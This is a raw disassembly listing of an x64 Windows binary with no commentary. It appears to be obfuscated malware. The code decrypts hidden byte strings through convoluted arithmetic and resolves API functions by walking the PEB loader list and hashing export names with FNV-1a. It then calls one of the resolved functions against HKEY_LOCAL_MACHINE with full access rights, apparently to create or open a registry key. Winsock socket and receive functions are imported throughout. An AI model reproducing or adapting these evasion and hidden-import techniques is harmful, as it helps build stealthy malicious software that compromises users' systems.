sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
movzx eax, byte [rbp + r10 + 0xbb0]
add rax, r11
add r10, rax
add r10, r13
jmp 0x14013e370
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013e36b
movabs rcx, 0x752d634cf9cce4e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
jmp 0x14013e35b
lea rdx, [rbp + 0x1600128]
jmp 0x14013ef21
lea rdx, [rbp + 0x1026c42]
jmp 0x14013ef21
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x400]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1b90]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14013ef56
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1b90]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1b90]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1b90]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x5e0], Ordinal_60
mov byte [rbp + 0x5e1], Ordinal_143
mov byte [rbp + 0x5e2], 0x61
mov byte [rbp + 0x5e3], 0xf3
mov byte [rbp + 0x5e4], 0x5a
mov byte [rbp + 0x5e5], 0xf1
mov byte [rbp + 0x5e6], 0x62
mov byte [rbp + 0x5e7], 0xf7
mov byte [rbp + 0x5e8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5e9], 0xf5
mov byte [rbp + 0x5ea], 0x5b
mov byte [rbp + 0x5eb], 0xfb
mov byte [rbp + 0x5ec], WSACleanup
mov byte [rbp + 0x5ed], 0xf9
mov byte [rbp + 0x5ee], 0x5b
mov byte [rbp + 0x5ef], 0xff
mov byte [rbp + 0x5f0], r14b
mov byte [rbp + 0x5f1], 0xfd
mov byte [rbp + 0x5f2], 0x59
mov byte [rbp + 0x5f3], 0xe3
mov byte [rbp + 0x5f4], Ordinal_79
mov byte [rbp + 0x5f5], 0xe1
mov byte [rbp + 0x5f6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5f7], 0xe7
mov byte [rbp + 0x5f8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5f9], 0xe5
mov byte [rbp + 0x5fa], 0x7f
mov byte [rbp + 0x5fb], 0xeb
mov byte [rbp + 0x5fc], 0x7a
mov byte [rbp + 0x5fd], 0xe9
mov byte [rbp + 0x5fe], Ordinal_79
mov byte [rbp + 0x5ff], 0xef
mov byte [rbp + 0x600], 0x7a
mov byte [rbp + 0x601], 0xed
mov byte [rbp + 0x602], 0x88
mov byte [rbp + 0x603], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x604], 0x84
mov byte [rbp + 0x605], Ordinal_211
mov byte [rbp + 0x606], Ordinal_217
mov byte [rbp + 0x607], Ordinal_217
xor eax, eax
mov qword [rbp + 0x608], rax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x14013fc5e
movzx r8d, byte [rbp + r9 + 0x5e0]
mov rdx, r8
cmp rdi, r9
ja 0x14013fc55
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14013f115
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14013f159
je 0x14013fbd6
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013fb52
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013fb25
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013fadd
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14013fa8d
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14013fc4c
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14013f17f
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14013f394
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013fa6c
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013fa49
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013fa23
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013f9fd
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013f9db
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14013f74d
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013f72b
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14013f705
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14013f6e3
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14013f6cf
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14013f6ad
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013f68b
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14013f667
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14013f645
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14013f631
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14013f1cd
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14013fc2a
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14013fc08
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14013f3cd
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14013f3ab
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14013f385
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14013f5d4
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14013f57a
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14013f52b
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14013f501
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14013f1cd
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14013f4ed
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14013f4cb
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14013f4a9
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14013f495
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14013f472
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14013f44c
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14013f429
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14013f407
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14013f3f3
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14013f1cd
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14013f1cd
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013f1c0
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x14013f159
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013f0dd
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x14013f82b
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14013fad2
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14013fad5
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013fafa
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x14013fb20
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14013fa0c
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14013fb73
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14013fba3
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14013f8b4
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x5e0], bl
jmp 0x14013fc00
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 9
jb 0x14013f51e
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14013faaa
movabs rcx, 0x65191bf3727f4ba2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
cmp rdi, 0x1000
jae 0x14013f982
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14013f8cb
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x14013f54c
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14013f9ad
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14013f813
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
jmp 0x14013f597
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14013f8b4
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14013fba3
movabs rdx, 0xd390f2407abef38c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013fb73
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14013fb40
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14013fb20
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x14013f886
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14013fad5
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013fad2
movabs rcx, 0x12b0da6c7f759ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14013faaa
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14013f773
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013f5f1
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013f79f
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14013fbf1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013f7c6
movabs rdx, 0xb8b05b574343cd24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, esi
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013f9d1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013f7f2
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14013fb40
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013f5f1
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14013fa32
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013f842
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013faaa
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013f86e
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14013fad2
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013f898
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013f9a3
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14013f597
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013fbf1
jne 0x14013f8ef
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14013fbf1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013f919
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14013f9d4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013f936
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14013fa0c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013f961
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14013fafa
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14013f54c
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14013fa79
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x5e0]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
jmp 0x14013fafa
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x5e0]
add bl, r8b
add bl, dl
jmp 0x14013fb73
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x14013fb73
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013fb40
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013fb20
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013fad5
movabs rdx, 0xdc582daba1a1e692
mov ecx, r13d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013faaa
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x5e0], cl
add r10, r13
sub r9, r13
jmp 0x14013fc00
movabs rcx, 0x664819d0503a1e26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, bl
add cl, r8b
sub cl, sil
mov byte [rbp + r9 + 0x5e0], cl
add rdi, r10
jmp 0x14013fb40
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013fc00
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x5e0], al
add r10, r13
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x5e0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14013fbf1
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, r15b
movzx eax, byte [rbp + r9 + 0x5e0]
add rax, r10
add r9, rax
add r9, r13
jmp 0x14013f0ca
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14013f0c5
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x14013f0b5
lea r12, [rbp + 0x145e388]
jmp 0x14013fc65
lea r12, [rbp + 0x136aac6]
jmp 0x14013fc65
lea r12, [rbp + 0x5e0]
mov r10, qword [0x1404fc178]
xor eax, eax
test r10, r10
jne 0x14013fddc
mov esi, eax
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013fce6
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013fcd8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013fcc7
cmp r8d, esi
jne 0x14013fdb8
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14013fdb8
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14013fdb8
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14013fd3a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013fd2f
cmp edx, r14d
je 0x14013fd50
test r9d, r9d
jne 0x14013fd1a
jmp 0x14013fdb8
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14013fdcf
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14013fdcf
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14013fdab
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14013fd87
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14013fd9e
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14013fdcc
cmp qword [rdi + 0x30], rax
jne 0x14013fc96
mov r10, rax
mov qword [0x1404fc178], r10
xor eax, eax
lea r13d, [rax + 1]
mov qword [rsp + 0x40], rax
lea rcx, [0x1404fba68]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
xor eax, eax
test rdx, rdx
jne 0x14013ff75
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r12d, 0x811c9dc5
test esi, esi
je 0x14013fe8f
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r12d
jmp 0x14013fe81
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x14013fe70
cmp r9d, esi
jne 0x14013ff66
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x14013ff66
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14013ff66
mov ebx, dword [r11 + 0x20]
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rdi
mov r8d, r12d
jmp 0x14013fee3
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r13
test dl, dl
jne 0x14013fed6
cmp r8d, r14d
je 0x14013fef9
test r10d, r10d
jne 0x14013fec3
jmp 0x14013ff66
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x14013ff6e
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14013ff6e
mov esi, r12d
mov r14d, r12d
jmp 0x14013ff37
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013ff29
jmp 0x14013ff4c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14013ff3f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14013fe3c
mov qword [0x1404fc118], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
xor eax, eax
test rbx, rbx
jne 0x1401400e8
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013fffd
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013ffef
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013ffde
cmp r8d, esi
jne 0x1401400ca
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x1401400ca
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401400ca
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x140140051
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140140046
cmp edx, r14d
je 0x140140067
test r9d, r9d
jne 0x140140031
jmp 0x1401400ca
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x1401400e1
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401400e1
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401400a9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14014009b
jmp 0x1401400be
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
test al, al
jne 0x1401400b1
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401400de
cmp qword [rbx + 0x30], rax
jne 0x14013ffad
mov rbx, rax
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
xor eax, eax
test rdx, rdx
jne 0x140140261
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140140176
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140140168
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140140157
cmp r8d, esi
jne 0x140140243
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140140243
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140140243
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401401ca
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401401bf
cmp edx, r14d
je 0x1401401e0
test r9d, r9d
jne 0x1401401aa
jmp 0x140140243
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x14014025a
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14014025a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
